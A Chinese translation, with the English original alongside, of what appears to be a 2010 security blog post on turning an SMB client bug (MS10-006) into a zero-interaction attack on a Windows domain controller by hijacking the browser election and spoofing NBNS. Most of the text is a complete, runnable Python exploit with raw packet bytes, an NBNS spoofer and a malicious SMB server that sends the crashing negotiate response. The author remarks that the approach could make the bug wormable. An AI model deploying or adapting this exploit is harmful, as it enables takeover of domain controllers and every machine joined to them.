Turning SMB client bug to server side
将SMB客户端bug转向服务端

作者：LAURENT GAFFIÉ

译者：wingdbg
译者：原文在http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html 

This blog post is about a technic to automate with no user interaction at all SMB client side bug exploitation targeting the Domain Master Browser (DMB) or PDC  (only the PDC can be a DMB)which is basically the perfect target in a pentest. Targeting the DMB is perfect, simply because if you control that box, you'll control all computer joined to this box tree. 

这篇文章介绍的是在无任何用户交互的情况下自动造成SMB客户端的bug溢出的一种技术。该漏洞溢出针对的是域主浏览器（DMB）或者主域控制器（PDC）（也只有PDC可以成为DMB），主域控制器基本上是渗透测试实验中最好的目标。针对DMB的攻击很完美，原因很简单：如果你控制了它，你将能控制所有连到DMB的计算机。

Since the SRD is once again downplaying SMB client side bug i think it's important to share this kind of tricks.

看到微软的安全研究与防御（SRD）再次低调处理SMB客户端的bug，我认为还是公开一下这种类型的漏洞利用方法比较好。

It's also important to mention that Browser and NBNS abusing is well known since a long time, as theses protocols wasn't developed with security in mind, this blog post is a simple real case example.

这里要重点指出浏览器和NetBIOS 命名服务（NBNS）一直不给力是一个公开的秘密，因为这些协议在设计之初就没有考虑到安全的因素。而这篇文章正是其中一个简单、真实的例子。

There's two way to automate SMB client side bug;

有两种方法可以自动触发SMB客户端的bug：
NBNS Spoofing (require some "kind" of user interaction in some way,   anyways  in a corporate network it works pretty well)

NBNS欺骗（需要某种方式的用户交互），尽管如此在一个公司网络他/它的效果很好
Browser Protocol Abusing (the funny one)

浏览器协议滥用（有趣的一种方法）
In this case I will cover a form of Browser Protocol Abusing.

我将在此介绍一种浏览器协议滥用的利用形式。

The basic goal of this attack is to hijack the Local Master Browser (LMB), and there's various way to do so;

攻击的基本目标就是劫持本地主浏览器（LMB），因此有很多种方法去这样做：
Register via NBNS on the Workgroup or domain, and launch an election (zero filled election packet), the winning criteria is first the browser version, and then the box capabilities, which is controlled by us.

在工作组或者域中通过NBNS来注册，然后开始一种选择（填零的选择包）。获胜的条件首先是浏览器的版本，其次是由我们控制的容器性能。
Create a NBNS name/ip conflict with the LMB and after 3 shot send a "Name Overwrite Demand" packet

创建一个NBNS 名字/IP与LMB相冲突，在3次发送之后发送一个"Name Overwrite Demand"包
Reset the LMB 

重置LMB
Why targeting the LMB ?

为什么我们要针对LMB呢？
Simple, the Backup browser will sync via SMB (NetServerEnum2) on the LMB every 15 mn.
We don't care that much about the Backup Browser, what we want it's the DMB, and guess what, he's also syncing on the LMB as soon you send him a Browser MasterAnnouncement :]

简单的说，备份浏览器在LMB上每隔15分钟会通过SMB（NetServerEnum2）同步一下，我们并不关注备份浏览器，我们需要的是DMB，你猜怎么着？你发给它一个浏览器管理声明时它也会和LMB同步:】

In this case, i will wait for a HostAnnouncement, a  Local Master Announcement or an ElectionResquest, then I will send two LMB Reset Browser State;
- one Reset_state clear_all
- one Reset_state stop_master

在这种情况，我将等待一个HostAnnouncement。它是一个本地管理声明或者是一个选择请求。然后我将发送两个LMB 重置浏览器状态：
——一个是Reset_state clear_all
——一个是 Reset_state stop_master


Which will directly kill the LMB (at least on Windows implementation).
Then you can launch an election that you're sure to win (as mentionned before), 
make a Local Master Browser Announcement, and finally a MasterAnnouncement, then the DMB will connect direclty to your fake server and get pwned (or not). 

这两个LMB会直接当掉LMB（至少在windows上实现是如此）。然后你可以采用一种你确定会获胜的选择方法（前面已经提到过），制造一个本地主浏览器声明，最终是一个管理声明。然后DMB将直接连接到你伪造的服务器并且开始工作（或者没有）。

Here's a quickly made proof of concept which work pretty well , it also have a NBNS spoofer just in case an admin try to access a share:]

这里有一个效果很好的POC，它有一个NBNS欺骗，以防管理员想访问一个共享：】

I included a proof of concept for a previously discovered bug patched in february (MS10-006), you can find the full advisory here: http://seclists.org/fulldisclosure/2010/Feb/168
我添加了一个之前发现的bug POC（在2月已打补丁）（MS10-006），你可以从这里找到完整的介绍：http://seclists.org/fulldisclosure/2010/Feb/168

Note: Make sure your SMB server/exploit listen on 139 and 445, and can handle NBSS session request, if not, you wont get any candy.

注意：你必须确保SMB服务器监听在139和445端口上，而且能够处理NBSS会话请求。如果不能，溢出不会得到任何效果。

Since Blogger is not python friendly:  http://pastebin.com/YBtzs9yr
由于谷歌博客对Python代码支持并不友好：请点此处http://pastebin.com/YBtzs9yr 

A bug like MS10-006 can be easily wormable if exploited with this kind of approach.

一个类似与MS10-006的bug可以迅速的传播，如果它采用此种方式溢出的话。
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代码：

# Microsoft Windows SMB Client Pool Corruption Remote Code Execution Vulnerability:

# http://www.securityfocus.com/bid/38093/exploit

# More Info: http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html

import sys,SocketServer,socket,threading,time,random

from random import *

from time import sleep

from socket import *

if len(sys.argv)<=2:

 sys.exit('Usage: pwn.py Your_ip Broadcast_ip\n\r Example: pwn.py 10.0.0.1 10.0.0.255')

ip = str(sys.argv[1])

nbns = str(sys.argv[2]),137

browser = str(sys.argv[2]),138

elec = "\x42\x4f\x00"

domainmasterbro = "\x42\x4c\x00"

##BROWSER election request

browserelect = [chr(int(a, 16)) for a in """

11 02 bd 82 c0 a8 00 96 00 8a 00 ae 00 00 20 46

47 45 4e 45 43 45 50 46 49 43 41 43 41 43 41 43

41 43 41 43 41 43 41 43 41 43 41 43 41 41 41 00

20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46

46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42

4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 11 00 00 14 00 00 00 00 00 00 00 00 00 e8

03 00 00 00 00 00 00 00 00 14 00 56 00 03 00 01

00 01 00 02 00 25 00 5c 4d 41 49 4c 53 4c 4f 54

5c 42 52 4f 57 53 45 00 08 09 a8 0f 01 20 1b e9

a5 00 00 00 00 00 56 4d 42 4f 58 00""".split()]

##Local Master Announcement

browsermaster = [chr(int(a, 16)) for a in """

11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45

4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43

41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00

20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46

46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42

4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8

03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01

00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54

5c 42 52 4f 57 53 45 00 0f 00 80 fc 0a 00 4d 41

53 54 45 52 00 00 00 00 00 00 00 00 00 00 00 06

2b 10 84 00 00 0f 01 55 aa 00""".split()]

resetcache = [chr(int(a, 16)) for a in """

11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45

4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43

41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00

20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46

43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41

42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01

00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54

5c 42 52 4f 57 53 45 00 0e 02""".split()]

resetlbm = [chr(int(a, 16)) for a in """

11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45

4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43

41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00

20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46

43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41

42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01

00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54

5c 42 52 4f 57 53 45 00 0e 01""".split()]

##Browser Master annoncement

masterannon = [chr(int(a, 16)) for a in """

11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45

4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43

41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00

20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46

46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42

4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8

03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01

00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54

5c 42 52 4f 57 53 45 00 0d 4d 41 53 54 45 52 00""".split()]

regmsbrowse = [chr(int(a, 16)) for a in """

be 6e 29 10 00 01 00 00 00 00 00 01 20 41 42 41

43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46

48 46 44 45 46 46 50 46 50 41 43 41 42 00 00 20

00 01 c0 0c 00 20 00 01 00 04 93 e0 00 06 80 00

c0 a8 00 96""".split()]

##NBNS Spoofing

spoof = [chr(int(a, 16)) for a in """

08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45

50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43

41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20

00 01 00 04 93 e0 00 06 00 00""".split()]

def nametid(data,packet,service):

    pack = packet[:]

    pack[2:4]=data[2:4] ##Transaction ID

    pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres

    pack[48:82]=data[48:79]+service ##Service/domain name

    return pack

def nametidrand(data,packet,service):

    pack = packet[:]

    pack[2:4]= "\x80"+str(chr(choice(range(256)))) ##Transaction ID

    pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres

    pack[48:82]=data[48:79]+service ##Service/domain name

    return pack

def addipbrow(packet):

    pack = packet[:]

    pack[4:8] = inet_aton(str(sys.argv[1]))

    return pack

def addipnb(packet):

    pack = packet[:]

    pack[len(packet)-4:] = inet_aton(str(sys.argv[1]))

    return pack

def sockbroad(packet,host):

   s = socket(AF_INET,SOCK_DGRAM)

   s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)

   s.sendto(packet,host)

class BROWSER(SocketServer.BaseRequestHandler):

    def server_bind(self):

       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)

       self.socket.bind(self.server_address)

    def handle(self):

        ip = inet_aton(str(sys.argv[1]))

        request, socket = self.request

        data = request

        print "From:", self.client_address

        if data[168] == "\x01" or data[168] == "\x0f" or data[168] == "\x08" and self.client_address[0] != sys.argv[1]:

           sockbroad(''.join(addipbrow(resetcache)),browser)

           print "[+]LMB cache Successfully Reseted"

           sockbroad(''.join(addipbrow(resetlbm)),browser)

           print "[+]LMB Successfully killed"

           for x in range(4):

              sockbroad(''.join(nametid(data,browserelect, elec)),browser)

              sleep(0.8)

           print "[+] Election Won !\n"

           for x in range(4):

              sleep(0.5)

              sockbroad(''.join(addipnb(regmsbrowse)),nbns)

           print "[+]Now Register __MSBROWSE__ :] "

           sockbroad(''.join(nametidrand(data,browsermaster, elec)),browser)

           sleep(1)

           sockbroad(''.join(nametidrand(data,masterannon, domainmasterbro)),browser)

           print "[+] Now LBM ! \n"

#NBNS SPOOF;

def namenbnstid(data,packet):

    pack = packet[:]

    pack[0:2]=data[0:2]##Transaction ID

    pack[12:48]=data[12:48]##Netbios name

    return pack

class NBNS(SocketServer.BaseRequestHandler):

    def server_bind(self):

       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)

       self.socket.bind(self.server_address)

    def handle(self):

        request, socket = self.request

        data = request

        print "From:", self.client_address

        #Hijack

        if data[2:4] == "\x01\x10":   

           buffer0 = ''.join(namenbnstid(data,spoof))+inet_aton(str(sys.argv[1]))

           socket.sendto(buffer0, self.client_address)

           print "Fake NBNS Response sended\n"

packetnego = (

##SMB Header

"\x00\x00\x00\x7f"                   #Netbios length

"\xff\x53\x4d\x42"                   #Server type

"\x72"                               #Operation/Command

"\x00\x00\x00\x00"                   #Statut command OK Success

"\x98"                               #Flag 0x98

"\x53\xc8"                           #Flag 0xc853

"\x00\x00"                           #PID High

"\x00\x00\x00\x00\x00\x00\x00\x00"   #Signature

"\x00\x00"                           #Reserved

"\x00\x00"                           #Tree ID

"\xff\xfe"                           #Process ID

"\x00\x00"                           #User ID

"\x00\x00"                           #Multiplex ID

##SMB Header end

##Negotiate Protocol

"\x11"                               #Word count

"\x05\x00"                           #Choosen dialect, no-5 from client list

"\x03"                               #Security mode

"\x41\x41"                           #Max MPX count

"\x41\x41"                           #Max VCs

##Issue

"\x03\x00\x00\x00"                   #Max buffer size; The issue is located here, as we specify an only 4 bytes max buffer length is this example.

#Usually a server would provide a 4356 max buffer size.

"\x41\x41\x41\x41"                   #Max raw buffer

"\x00\x00\x00\x00"                   #Session key

"\xfc\xe3\x01\x80"                   #Capabilities

"\xea\xb1\x6e\x18\x11\x62\xca\x01"   #System Time

"\x2c\x01"                           #Server timezone

"\x00"                               #Key length

"\x3a\x00"                           #Byte count

#Server GUID

"\x68\x52\x38\x38\xf2\xe3\x9f\x4f\x94\x26\xbd\xcb\xca\x2e\x28\x9a"  

#Security Blob

"\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a"

"\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a"

"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"

##Negotiate Protocol end

)

class MS10_006(SocketServer.BaseRequestHandler):

    def server_bind(self):

       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)

       self.socket.bind(self.server_address)

    def handle(self): 

        print "From:", self.client_address

        data = self.request.recv(256)

        if data[0] == "\x81":

           buffer0 = "\x82\x00\x00\x00"        

           self.request.send(buffer0)

           print "Session Positive Response sended\n"

           data = self.request.recv(1024)

        if data[8] == "\x72":    

           self.request.send(packetnego)

           print "Negotiate Response sended kaboom !\n"

           data = self.request.recv(1024)

def serve_thread_udp(host, port, handler):

    server = SocketServer.UDPServer((host, port), handler)

    server.serve_forever()

def serve_thread_tcp(host, port, handler):

    server = SocketServer.TCPServer((host, port), handler)

    server.serve_forever()

SocketServer.TCPServer.allow_reuse_address = 1

threading.Thread(target=serve_thread_tcp,args=('', 139,MS10_006)).start()

threading.Thread(target=serve_thread_tcp,args=('', 445,MS10_006)).start()

threading.Thread(target=serve_thread_udp,args=('', 137,NBNS)).start()

threading.Thread(target=serve_thread_udp,args=('', 138,BROWSER)).start()

